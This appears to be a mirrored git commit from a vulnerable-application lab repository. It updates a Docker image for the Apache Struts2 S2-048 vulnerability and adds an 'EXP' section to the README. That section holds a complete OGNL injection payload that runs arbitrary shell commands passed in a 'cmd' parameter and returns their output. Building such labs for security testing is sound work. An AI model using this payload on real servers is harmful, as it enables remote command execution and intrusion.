mirror of
https://github.com/Medicean/VulApps.git
synced 2025-05-07 19:16:32 +00:00
(Update Vul: Struts2) 更新 s2-048.war struts-core 为 2.3.32
http://struts.apache.org/docs/version-notes-2332.html
This commit is contained in:
parent
b984b4b09a
commit
f01a02a3d2
@ -1,7 +1,7 @@
|
||||
FROM tomcat:8-jre8
|
||||
MAINTAINER Medici.Yan@Gmail.com
|
||||
|
||||
ENV WAR_URL http://oe58q5lw3.bkt.clouddn.com/s/struts2/struts2/s2-048.war
|
||||
ENV WAR_URL http://oe58q5lw3.bkt.clouddn.com/s/struts2/struts2/s2-048-1.war
|
||||
|
||||
WORKDIR /tmp
|
||||
|
||||
|
@ -41,6 +41,18 @@ $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-048
|
||||
|
||||

|
||||
|
||||
#### EXP
|
||||
|
||||
核心部分如下:
|
||||
|
||||
```
|
||||
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=#parameters.cmd[0]).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
||||
```
|
||||
|
||||
需要再指定一个 cmd 参数,传入要执行的命令:
|
||||
|
||||

|
||||
|
||||
### 参考链接
|
||||
|
||||
* [S2-048 公告](https://cwiki.apache.org/confluence/display/WW/S2-048)
|
||||
|
BIN
s/struts2/s2-048/exp.png
Normal file
BIN
s/struts2/s2-048/exp.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 218 KiB |
Loading…
x
Reference in New Issue
Block a user